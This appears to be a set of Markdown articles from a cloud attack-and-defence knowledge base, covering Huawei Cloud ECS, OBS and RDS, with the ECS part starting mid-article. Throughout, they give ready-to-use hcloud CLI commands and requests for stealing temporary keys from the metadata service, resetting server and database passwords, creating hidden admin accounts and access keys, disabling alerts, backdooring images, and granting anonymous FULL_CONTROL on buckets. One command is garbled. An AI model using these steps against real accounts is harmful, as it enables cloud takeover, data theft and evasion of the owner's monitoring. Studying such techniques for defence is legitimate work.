/latest/meta-data/public-keys/0/openssh-key #用于查询弹性云服务器的公钥 23 | /openstack/latest/meta_data.json #用于查询弹性云服务器的元数据 24 | /openstack/latest/user_data #用于查询弹性云服务器的自定义数据。 25 | /openstack/latest/network_data.json #查询弹性云服务器的网络信息,支持查询云服务器挂载的全部网卡的信息,包括网卡所在子网的DNS地址、网络带宽、网卡ID、网卡私有IP地址、网卡弹性公网IP地址、网卡的MAC地址。 26 | /openstack/latest/securitykey #获取临时的AK、SK 27 | ``` 28 | 29 | ### 2、凭证泄漏 30 | - 控制台账号密码泄露,例如登录控制台的账号密码(主账号异地登录需要验证码,IAM账号登录只需要用户名和密码) 31 | - 临时凭证泄露 32 | - 访问密钥泄露,即 AccessKeyId、SecretAccessKey 泄露 33 | 34 | ### 3、账号劫持 35 | 云平台本身的漏洞,可以劫持其他用户的账号 36 | 华为云api explorer会给每个用户分配一台docker机器,大家可以研究下是否可以提权、逃逸从而进入别人的容器中 37 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-04-11/1649648863-638903-image.png) 38 | 39 | ### 4、网络钓鱼 40 | 通过向管理员或运维人员发送钓鱼邮件、社工来获取用户凭证 41 | 42 | ## 0x02、命令执行 43 | ### 1、接管控制台 44 | 如果AK/SK的权限够高,就可以创建同权限的账号来达到接管控制台,在下面的第3章的第2节我们会讲到这个 45 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-04-11/1649649893-921366-image.png) 46 | ### 2、服务器命令 47 | 很遗憾,华为云ECS只有登录服务器才可以执行命令,哪怕拿到了账号登录控制台也需要服务器的账号密码 48 | 但是拿到泄漏的AK SK可以控制服务器的关机启动和修改密码(动静太大),下面介绍下拿到AK/SK如何修改服务器密码和开关机 49 | 首先我们需要利用云服务器的地区和终端节点来爆破用户拥有的服务器 50 | https://developer.huaweicloud.com/endpoint #官方地区和终端节点 51 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-04-11/1649649978-718063-image.png) 52 | 53 | `hcloud ECS ListServersDetails --cli-region="cn-south-1" #切换区域ID查询服务器` 54 | 55 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-04-11/1649650004-49112-image.png) 56 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-04-11/1649650015-564984-image.png) 57 | 需要用到id(命令里的server_id)和tenant_id(命令里的project_id) 58 | 修改密码 59 | `#企业版 60 | hcloud ECS ResetServerPassword --cli-region="cn-south-1" --project_id="0a8453d1f12b8531" --server_id="1fb786129411ab1c" --reset-password.is_check_password=true --reset-password.new_password="1234qwer"` 61 | 62 | `#个人版 63 | hcloud ECS BatchResetServersPassword --cli-region="cn-south-1" --project_id="0a8453d112b8531" --servers.1.id="1fb786d9-a294-11c" --new_password="1234qwer"` 64 | 65 | 启动服务器 66 | 67 | `hcloud ECS BatchStartServers --cli-region="cn-south-1" --project_id="0a8453d1f7121283b8531" --os-start.servers.1.id="1fb786d9-5121ab1c"` 68 | 69 | 关闭服务器 70 | 71 | `hcloud ECS BatchStopServers --cli-region="cn-south-1" --project_id="0a8453d112c00e683b8531" --os-stop.servers.1.id="hcloud ECS BatchStartServers" --cli-region="cn-south-1" --project_id="0a8453d1f121200e683b8531" --os-start.servers.1.id="1fb7121-4958-a294-41224e1ab1c""` 72 | 73 | 华为云购买服务器时默认的账号为root权限,如果用户未做权限限制,拿到shell就不用提权了 74 | ### 3、利用后门文件 75 | 任意文件上传,文件包含,解析漏洞等 76 | ### 4、利用远程代码执行漏洞 77 | fastjson反序列化,shiro反序列化等等 78 | ### 5、SSH账号密码泄漏等 79 | 80 | ## 0x03、权限维持 81 | 此处就只演示使用华为云cli如何操作,控制台如何操作就没必要演示了 82 | ### 1、新增服务器 83 | 新建一台指定网段的服务器来作为跳板机 84 | 85 | `hcloud ECS CreatePostPaidServers --cli-region="cn-south-1" --project_id="0a8453d1f700250e2f02c00e683b8531" --server.data_volumes.1.volumetype="SSD" --server.data_volumes.1.size=40 --server.vpcid="123456" --server.name="huoxian" --server.nics.1.subnet_id="12345" --server.root_volume.volumetype="SSD" --server.root_volume.size=40 --server.flavorRef="12" --server.imageRef="123" --server.user_data="#! /bin/bash echo user_test >> /home/user.txt"` 86 | 87 | 这里解释下里面参数的意义和如何拿到这个参数,带*的参数是需要其他命令获取的 88 | 89 | `--cli-region #地区 90 | --project_id #用户ID,前面有介绍 91 | --server.data_volumes.1.volumetype #云服务器数据盘对应的磁盘类型,需要与系统所提供的磁盘类型相匹配 92 | --server.data_volumes.1.size=40 #磁盘大小 93 | --server.vpcid="123" #vpc的ID* 94 | --server.name #云服务器名称 95 | --server.nics.1.subnet_id #待创建云服务器所在的子网信息* 96 | --server.root_volume.volumetype #云服务器系统盘对应的磁盘类型,需要与系统所提供的磁盘类型相匹配 97 | --server.root_volume.size=40 #磁盘大小 98 | --server.flavorRef #待创建云服务器的系统规格的ID* 99 | --server.imageRef #待创建云服务器的系统镜像* 100 | --server.user_data #创建云服务器过程中待注入用户数据` 101 | 102 | 查询VPC列表 103 | 104 | `hcloud VPC ListVpcs/v3 --cli-region="cn-south-1" --project_id="0a8451200e683b8531"` 105 | 106 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-04-11/1649650388-49949-image.png) 107 | 查询地址组列表 108 | 109 | `hcloud VPC ListAddressGroup/v3 --cli-region="cn-south-1" --project_id="0a845123b8531"` 110 | 111 | 查询规格详情和规格扩展信息列表 112 | 113 | `hcloud ECS ListFlavors --cli-region="cn-south-1" --project_id="0a8453d1123b8531"` 114 | 115 | 查询镜像列表 116 | 117 | `hcloud IMS ListImages --cli-region="cn-south-1"` 118 | 119 | 这样就可以创建一台指定密码、指定网段的服务器,可以当作跳板机 120 | 121 | ### 2、新增账号 122 | 需要注意的是密码得强规则 123 | 124 | `hcloud IAM CreateUser --cli-region="cn-south-1" --user.domain_id="0a845312120e3d660" --user.pwd_status=false --user.name="test" --user.access_mode="console:" --user.enabled=true` 125 | 126 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-04-11/1649650498-520358-image.png) 127 | --user.domain_id #参数从下面命令中获取 128 | 129 | `hcloud IAM KeystoneListAuthDomains --cli-region="cn-south-1"` 130 | 131 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-04-11/1649650531-836496-image.png) 132 | 其他参数意义 133 | 134 | `--user.pwd_status #新增账号后初次登陆不需要修改密码,默认为true 135 | --user.access_mode #账号权限 136 | default:默认访问模式,编程访问和管理控制台访问。 137 | programmatic:编程访问。 138 | console:管理控制台访问。 139 | --user.enabled #是否启用账号,默认为true` 140 | 141 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-04-11/1649650570-736712-image.png) 142 | 143 | 还有一种添加命令,只不过该命令无法指定邮箱和手机号码 144 | 145 | `hcloud IAM KeystoneCreateUser --cli-region="cn-south-1" --user.password="123123" --user.name="huox"` 146 | 147 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-04-11/1649650603-107414-image.png) 148 | 149 | 当我们添加了账号后,还需要给当前账号添加用户组 150 | 151 | `hcloud IAM KeystoneAddUserToGroup --cli-region="cn-south-1" --group_id="0a84535a9380f2343fdcc00e38def544" --user_id="642195374d894c0cab5c3f00c57226c9"` 152 | 153 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-04-11/1649650631-913547-image.png) 154 | 155 | 此处需要group_id,从下面获取;此处需要注意的是我们要看好用户组的具体权限,一般admin是默认的超级管理员权限 156 | 157 | `hcloud IAM KeystoneListGroups --cli-region="cn-south-1"` 158 | 159 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-04-11/1649650658-513308-image.png) 160 | 返回控制台看下 161 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-04-11/1649650677-346878-image.png) 162 | 接下来就是登录控制台了 163 | 登录地址:https://auth.huaweicloud.com/authui/login?id=stay0D 164 | 使用刚才创建的账号登录控制台 165 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-04-11/1649650700-6930-image.png) 166 | 可以看到已经是超级管理员了 167 | 关于登录地址,我们在查看用户详情的时候会看到用户的name,上面查到的就是stay0D,我们只需要把这个拼接到URL中id参数后就可以,所有添加的IAM账户,包括子账号添加的账号也是用同样的登录地址 168 | 169 | ### 3、新增AK/SK 170 | 我们可以新添加用户的AK/SK(限制是每个账号只能拥有两个密钥) 171 | 172 | `hcloud IAM CreatePermanentAccessKey --cli-region="cn-south-1" --credential.user_id="90f761284f49953f"` 173 | 174 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-04-11/1649650918-775087-image.png) 175 | 176 | `--credential.user_id #用户ID` 177 | 178 | 获取用户ID从下面获取 179 | 180 | `hcloud IAM KeystoneListUsers --cli-region="cn-south-1"` 181 | 182 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-04-11/1649650947-171295-image.png) 183 | 184 | `hcloud IAM DeletePermanentAccessKey --cli-region="cn-south-1" --access_key="xxxxxxx"` 185 | 186 | ### 4、镜像服务 187 | 我们可以删除,或者创建同名的镜像文件,将后门植入到镜像中,当用户使用镜像新建实例的时候,就会带入我们植入的恶意代码了 188 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-04-11/1649650979-908200-image.png) 189 | 190 | ### 5、远程软件控制 191 | Windows——向日葵RCE 192 | 193 | ## 0x04、权限提升 194 | 华为云ECS Linux默认为root权限,需谨慎配置;其他提权姿势和常规提权一样 195 | 196 | ## 0x05、防御饶过 197 | ### 1、关闭告警通知 198 | 当我们进行入侵的时候,可以关闭掉告警通知,尤其实时告警,可以延长我们入侵被发现的时间,需要注意的是,告警只能通过控制台操作,无API 199 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-04-11/1649651016-938680-image.png) 200 | 201 | ### 2、关闭订阅 202 | 本来想的是修改账号联系人的信息,邮箱和手机号码,但是修改时需要验证码,行不通,但是我们也可以修改订阅管理,关闭掉所有的通知消息 203 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-04-11/1649651038-490402-image.png) 204 | 205 | ## 0x06、信息搜集 206 | ### 1、元数据 207 | ##### a、自定义数据 208 | 其中 openstack/latest/password 可查询弹性云服务器的密码,Windows系统使用keypairs创建弹性云服务器初始化时cloudbase-init用于保存密文密码。 209 | openstack/latest/user_data 可查询弹性云服务器的自定义数据,这里简单介绍下这个文件能干什么 210 | 在创建云服务器的时候,有一个选项是实例自定义数据注入,什么时候会用到这个呢,当我们需要创建多个服务器的时候,为了方便管理,需要对网络和密码等进行统一操作 211 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-04-11/1649651081-650444-image.png) 212 | 这里我们可以插入我们想要在服务器刚创建时执行命令,比如创建自定义的密码 213 | 214 | `#!/bin/bash 215 | echo 'root:$6$V6azyeLwcD3CHlpY$BN3VVq18fmCkj66B4zdHLWevqcxlig' | chpasswd -e;` 216 | 217 | 或者需要执行的其他命令,而user_data文件中数据就是上面的命令,如果选择了实例自定义数据注入,就会从元数据中看到这些数据 218 | 219 | `#Windows 220 | rem cmd 221 | net user abc password /add 222 | net localgroup administrators abc /add` 223 | 224 | 注意的是实例自定义数据注入只有创建服务器的时候才会有,后续无法进行修改 225 | 226 | ##### b、临时的AK、SK 227 | 228 | `http://169.254.169.254/openstack/latest/securitykey #获取临时的AK、SK` 229 | 230 | 临时的AK、SK有效期一个小时,拿到后通过华为云cli可以进行进一步的利用,包括新建账号、服务器等操作,如上面第3章有所讲述;需注意的是华为云元数据没有用户临时token 231 | 232 | ### 2、获取服务器实例登录账号 233 | 可以使用mimikatz等工具抓取windows服务器的凭证 234 | 235 | ### 3、镜像服务 236 | 如果用户在制作整机镜像时未将敏感数据删除,那我们就可以将镜像导出到OBS桶中,然后下载到本地重新搭建,在其中寻找一些敏感数据 237 | 首先看下用户制作的镜像,然后将私有镜像导出到OBS桶中 238 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-04-11/1649651197-840054-image.png) 239 | 然后访问存储桶下载或者从控制台下载 240 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-04-11/1649651210-772129-image.png) 241 | 下载后通过VMware等其他软件打开就可以,在信息搜集的时候可以留意一下 242 | 243 | ### 4、云备份共享 244 | 将对方的云备份共享至自己的账号(只能在控制台操作) 245 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-04-11/1649651263-942775-image.png) 246 | 247 | ## 0x07、横向移动 248 | ### 1、子网信息 249 | 通过网络控制台-虚拟私有云查看具体网段信息 250 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-04-11/1649651997-225131-image.png) 251 | 或者使用华为云cli查看 252 | 253 | `hcloud VPC ListVpcs/v3 --cli-region="cn-south-1" --project_id="0a8453d1f700250e2f02c00e683b8531"` 254 | 255 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-04-11/1649652021-927557-image.png) 256 | 也可查看元数据猜测(不全) 257 | 258 | `http://169.254.169.254/openstack/latest/network_data.json #元数据猜C段` 259 | 260 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-04-11/1649652046-992798-image.png) 261 | 262 | ### 2、访问凭证 263 | - 拿到账号密码登录实例 264 | - 修改实例密码后登录 265 | - 新建同网段服务器 266 | 267 | ### 3、负载均衡 268 | 如果内网机器无法出网且对方有使用负载均衡,我们登录控制台后可以将内网的指定端口通过负载均衡映射到公网 269 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-04-11/1649652083-983284-image.png) 270 | 首先需要添加监听器,输入公网前端端口(就是我们直接访问的端口)和后端分配的端口(内网服务器的端口),然后在后端服务器组添加内网的服务器就可以了 271 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-04-11/1649652096-26046-image.png) 272 | 这就是最终的效果,通过ELB让内网机器出网 273 | 274 | ## 0x08、影响 275 | ### 1、子域名接管 276 | 其实就是实例销毁后未将域名解析到正确的IP 277 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-04-11/1649652131-148965-image.png) 278 | 上面就是某SRC厂商的失误操作,导致子域名解析到一台个人服务器上,就是这个IP归属无法控制 279 | ### 2、资源劫持 280 | 肉鸡,挖矿等 281 | 282 | ## 0x09、总结 283 | 284 | 师傅们可以对照着前几位师傅的文章观看 285 | https://zone.huoxian.cn/d/1064-ecs #阿里云 286 | https://zone.huoxian.cn/d/1028-cvm #腾讯云 287 | https://zone.huoxian.cn/d/1022-aws-ec2 #AWS 288 | https://zone.huoxian.cn/d/1043-compute-engine #谷歌云 289 | -------------------------------------------------------------------------------- /docs/articles/huaweicloud/华为云 OBS 对象存储攻防.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: 华为云 OBS 对象存储攻防 3 | id: huaweicloud_obs 4 | --- 5 | 6 | ## 0x00前言: 7 | 其实华为云和其他云的攻防利用方式大同小异,师傅们可以对照着前几篇云安全对象存储攻防文章享用。 8 | 9 | 10 | 11 | 阿里云 https://zone.huoxian.cn/d/918-oss 12 | 腾讯云 https://zone.huoxian.cn/d/949-cos 13 | 谷歌云 https://zone.huoxian.cn/d/931 14 | 微软云 https://zone.huoxian.cn/d/940 15 | AWS https://zone.huoxian.cn/d/907-aws-s3 16 | 17 | 下面就简单列举下华为云对象存储下的攻防手段。 18 | 19 | ## 0x01、Bucket劫持 20 | 华为云bucket劫持和阿里云的差不多,注意的是华为云在删除掉自己的bucket后30分钟后才可重新注册相同名称的bucket 21 | https://console.huaweicloud.com/console/?region=af-south-1#/obs/manager/buckets 22 | 进入华为云的对象存储服务、桶列表、创建桶 23 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-09/1646798519-102207-image.png) 24 | 当bucket名称存在时会报错 25 | 请求的桶名已经存在,或被其他用户占用,请重新输入。 26 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-09/1646798539-5406-image.png) 27 | 28 | ## 0x02、Bucket爆破 29 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-09/1646798595-161756-image.png) 30 | 不存在,返回NoSuchBucket 31 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-09/1646798608-170516-image.png) 32 | 存在,返回AccessDenied 33 | ## 0x03、Access Key Id、Secret Access Key泄漏 34 | Github 敏感信息泄露 35 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-09/1646798623-486163-image.png) 36 | 反编译目标 APK 37 | 目标网站源代码泄露 38 | 返回包、JS文件泄漏 39 | ... 40 | ## 0x04、特定的bucket策略配置 41 | CORS,限制指定的Referer头,自定义设置Referer头 42 | 无指定Referer 43 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-09/1646798674-538638-image.png) 44 | 指定Referer 45 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-09/1646798702-784057-image.png) 46 | curl命令验证 47 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-09/1646798725-192550-image.png) 48 | ## 0x05、任意文件上传(无法解析) 49 | 上传html等后缀的文件无法解析,直接下载 50 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-09/1646798736-720385-image.png) 51 | 但是其存在分享功能,分享出来的文件是可以解析的 52 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-09/1646798748-375869-image.png) 53 | 但是分享有时间限制 54 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-09/1646798762-208019-image.png) 55 | 从上图中可以看到,分享的链接只保持1分钟到18小时 56 | ## 0x06、文件覆盖 57 | 下面是华为云官方文档介绍,是可以覆盖掉对象 58 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-09/1646798779-761099-image.png) 59 | 这里没实际搭建环境,使用官方工具做个演示,可以看到bucket中文件名为ddddd.jpg,我们上传一个同文件名的文件 60 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-09/1646798791-349846-image.png) 61 | 可以看到文件名一样就会覆盖前面的对象 62 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-09/1646798806-72895-image.png) 63 | ## 0x07、Bucket Object 遍历 64 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-09/1646798817-737756-image.png) 65 | 如上图,如果设置为公共读或者公共读写就会导致object遍历(设置公共的时候会有提示,问题有可能会出现在复制桶策略上) 66 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-09/1646798833-125971-image.png) 67 | 可拼接key来下载文件 68 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-09/1646798852-370422-image.png) 69 | ## 0x08、Bucket ACL配置错误 70 | 如果错误配置了对匿名用户的ACL访问权限,就会造成匿名用户修改Bucket ACL策略,遍历存储桶 71 | 实际上只需要给匿名用户配置ACL写入权限即可,但是在请求时需要用户的ID,暂时知道读取权限可以获取用户ID,其他地方应该也可以获取到用户ID;这里为了方便也给予了读取权限 72 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-09/1646798883-443644-image.png) 73 | 首先我们正常访问一下 74 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-09/1646798872-789500-image.png) 75 | Access Denied,没有权限,我们看一下ACL策略 76 | https://hxsecurity.obs.cn-north-4.myhuaweicloud.com/?acl 77 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-09/1646798894-389104-image.png) 78 | 可以看到用户ID和权限配置,利用手段就是PUT请求,修改ACL策略 79 | ``` 80 | PUT /?acl HTTP/1.1 81 | Host: demosecurity.obs.cn-north-4.myhuaweicloud.com 82 | Sec-Ch-Ua: "Chromium";v="95", ";Not A Brand";v="99" 83 | Sec-Ch-Ua-Mobile: ?0 84 | Sec-Ch-Ua-Platform: "macOS" 85 | Upgrade-Insecure-Requests: 1 86 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 87 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 88 | Sec-Fetch-Site: none 89 | Sec-Fetch-Mode: navigate 90 | Sec-Fetch-User: ?1 91 | Sec-Fetch-Dest: document 92 | Accept-Encoding: gzip, deflate 93 | Accept-Language: zh-CN,zh;q=0.9 94 | Connection: close 95 | Content-Length: 575 96 | 97 | 98 | 99 | 100 | 0a84535a6780f2340fd8c121220e3d660 101 | 102 | 103 | 104 | 105 | 0a84535a6780f2311212190e3d660 106 | 107 | #拥有者的权限 108 | FULL_CONTROL 109 | false 110 | 111 | 112 | 113 | Everyone 114 | 115 | #匿名用户的权限 116 | FULL_CONTROL 117 | 118 | 119 | 120 | ``` 121 | 修改此处的Permission为FULL_CONTROL 122 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-09/1646798912-491804-image.png) 123 | 放行返回控制台看一下 124 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-09/1646798923-684931-image.png) 125 | 拥有了桶访问权限的读取和写入权限,验证下,重新访问 126 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-09/1646798938-479252-image.png) 127 | 同样的道理,如果我们修改用户只有write权限,没有读取权限,就会导致网站瘫痪 128 | 129 | 漏洞利用方式可能有错,利用手段也不止于此,希望各位师傅轻喷,也希望师傅们在火线zone多分享分享 130 | -------------------------------------------------------------------------------- /docs/articles/huaweicloud/华为云 RDS 云数据库攻防.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: 华为云 RDS 云数据库攻防 3 | id: huaweiyuncloud_rds 4 | --- 5 | 6 | 本文所有的演示都购买的Mysql服务 7 | ### 0x01 前期侦查 8 | ##### 1、访问凭证泄露 9 | 10 | 11 | 12 | 在进行信息收集时,可以收集目标的数据库账号密码、云服务账号的访问凭证、临时凭证、SDK 等等。 13 | ##### 2、备份管理 14 | 在备份管理处可以看到数据库的备份情况,可以恢复或者下载,查找数据 15 | 16 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-04-19/1650353815-214172-image.png) 17 | 18 | 如果我们拿到了ak sk可以登录OBS Browser查看外部桶,看用户是否将备份放到其中 19 | 20 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-04-19/1650353827-693755-image.png) 21 | 22 | 我们在信息搜集的时候,可以留意如下链接 23 | 24 | `https://obs.cn-south-1.myhuaweicloud.com/dbsbucket-cn-south-1-ea28ad0541ce46d1a14cf6affac93242/1471f191bf52426f937b8e9b5f87a5e5_2b51b2c6abdf462893939964b4c612fain01_Snapshot_fccfc85d4767460786a8cdd00b021f87br01_20220328075533310_20220328075534031_dd6d837fe38542e39c939c65cc2eb946no01_.qp?AWSAccessKeyId=GJADEH3HQHGDFA1I9TZ1&Expires=1648455224&response-cache-control=no-cache,no-store&Signature=ZvOnZ1Ggj+d3M3rR+RNWFCLf5Xk=` 25 | 26 | 27 | `https://obs.cn-south-1.myhuaweicloud.com:443/dbsbucket-cn-south-1-ea28ad0541ce46d1a14cf6affac93242/1471f191bf52426f937b8e9b5f87a5e5_2b51b2c6abdf462893939964b4c612fain01_Db_270e4eee5c0645c491a0256aee83277fbr01_20220328075745865_20220328075807598_b1f9ce13819a4a089c868f408cd66ecdno01_.qp?AWSAccessKeyId=GJADEH3HQHGDFA1I9TZ1&Expires=1648455325&response-cache-control=no-cache,no-store&Signature=cH06dRbBcK/fSX8MX04aM6lntoQ=` 28 | 29 | 上述链接可以看到是以.qp结尾的文件,该链接就是数据库的备份下载链接,需注意的是其中一个链接的实效只有5分钟 30 | 31 | 下面介绍下如何使用华为云cli来获取备份下载链接 32 | 1、获取 "tenant_id" 33 | 34 | `hcloud ECS ListServersDetails --cli-region="cn-south-1"` 35 | 36 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-04-19/1650353946-998365-image.png) 37 | 38 | 2、查询数据库实例列表获取id 39 | 40 | `hcloud RDS ListInstances --cli-region="cn-south-1" --Content-Type="application/json" --project_id="0a8453d1f700250e2f02c00e683b8531" ` 41 | 42 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-04-19/1650353982-397947-image.png) 43 | 44 | 3、获取备份列表,拿到id 45 | 46 | `hcloud RDS ListBackups --cli-region="cn-south-1" --project_id="0a8453d1f700250e2f02c00e683b8531" --instance_id="2b51b2c6abdf462893939964b4c612fain01"` 47 | 48 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-04-19/1650353992-77346-image.png) 49 | 50 | 4、获取备份下载链接 51 | 52 | `hcloud RDS ShowBackupDownloadLink --cli-region="cn-south-1" --project_id="0a8453d1f700250e2f02c00e683b8531" --backup_id="270e4eee5c0645c491a0256aee83277fbr01"` 53 | 54 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-04-19/1650354003-645191-image.png) 55 | 56 | ### 0x02 初始访问 57 | ##### 1、访问凭证登录 58 | 如果前期收集到了数据库的账号密码,则可以直接使用其登录。 59 | 60 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-04-19/1650354121-171657-image.png) 61 | 62 | 如果泄漏了高权限的AK SK,可以新建一个同权限的IAM账号登录控制台 63 | ##### 2、弱口令 64 | 如果数据库存在弱口令,则可以通过密码爆破,猜解出 RDS 的账号密码。 65 | 华为云RDS默认用户名为root 66 | ##### 3、绑定公网IP 67 | 如果数据库创建在内网中,我们可以绑定公网IP来连接,需要注意的是这个公网IP必须是用户自己购买的 68 | 69 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-04-19/1650354173-815492-image.png) 70 | 71 | 绑定后我们就可以通过远程登录来登录数据库了 72 | ##### 4、同VPC下主机登陆 73 | 如果RDS不出网,我们可以想办法登录同网段的ECS服务器,然后通过MYSQL连接到不出网的数据库 74 | 75 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-04-19/1650354190-679343-image.png) 76 | 77 | `mysql -h 192.168.0.12 -uroot -p` 78 | 79 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-04-19/1650354206-163895-image.png) 80 | 81 | ### 0x03 语句执行 82 | ##### 1、数据管理服务DAS 83 | 华为云控制台需要数据库的密码才可以登录执行语句,我们可以通过泄漏的AK SK来新增账号或修改原账号密码来登录数据库,下面第五节会讲到 84 | 85 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-04-19/1650354224-514046-image.png) 86 | 87 | 进入开发工具就可以登录数据库,执行语句 88 | 89 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-04-19/1650354236-117517-image.png) 90 | 91 | ##### 2、数据库连接 92 | 如果知道数据库的账号密码后,可以远程连接试试 93 | ### 0x04 权限提升 94 | ##### 1、低权限下收集到高权限访问凭证信息 95 | 在使用低权限账号登录到数据库后,在数据库中可以尝试搜索访问密钥、账号密码等信息,获得高权限账号信息。 96 | 如果当前数据存在 Web 应用上的用户密码信息,则可以通过尝试获得 Web 应用系统权限,在 Web 应用系统权限下,搜索数据库的访问密钥或者云服务的 API 密钥,从而进一步横向到数据库高权限。 97 | ##### 2、数据库自身漏洞 98 | 比如提权,暂时未发现云服务商有此类漏洞。 99 | ##### 3、修改读写权限 100 | 控制台修改只读权限为读写 101 | 102 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-04-19/1650354294-764973-image.png) 103 | 104 | cli修改只读权限为读写 105 | 106 | `hcloud RDS AllowDbUserPrivilege --cli-region="cn-south-1" --instance_id="dddddd" --project_id="0a8453d1f700250e2f02c00e683b8531" --db_name="huoxian" --users.1.readonly=false --users.1.name="admin"` 107 | 108 | ##### 4、修改IAM账号权限 109 | 首先看下官方的权限说明 110 | 111 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-04-19/1650354352-643652-image.png) 112 | 113 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-04-19/1650354377-453228-image.png) 114 | 115 | 我们可以修改IAM账号的权限使其拥有修改数据库的权限 116 | 117 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-04-19/1650354395-145911-image.png) 118 | 119 | ### 0x05 权限维持 120 | ##### 1、添加数据库账号密码 121 | 控制台添加账号 122 | 123 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-04-19/1650354419-990223-image.png) 124 | 125 | 华为云cli添加账号 126 | 127 | `hcloud RDS CreateDbUser --cli-region="cn-south-1" --instance_id="2b51b2c6abdf462893939964b4c612fain01" --project_id="0a8453d1f700250e2f02c00e683b8531" --password="1234qwer!" --name="stay"` 128 | 129 | ##### 2、修改数据库账号密码 130 | 控制台修改密码 131 | 132 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-04-19/1650354433-397349-image.png) 133 | 134 | 华为云cli修改密码(密码强规则) 135 | 136 | `hcloud RDS ResetPwd --cli-region="cn-south-1" --instance_id="2b51b2c6abdf462893939964b4c612fain01" --project_id="0a8453d1f700250e2f02c00e683b8531" --db_user_pwd="1234qwer!"` 137 | 138 | ##### 3、共享数据库实例 139 | 我们可以将对方的数据库实例分享给自己,然后在自己的控制台就可以登录 140 | 首先我们需要知道数据库的账号密码,或者可以使用前面讲到的重新添加一个账号 141 | 142 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-04-19/1650354462-140106-image.png) 143 | 144 | 接着新增数据库实例登录,这里选择记住密码,我们自己账号登录时便不需要密码了 145 | 146 | 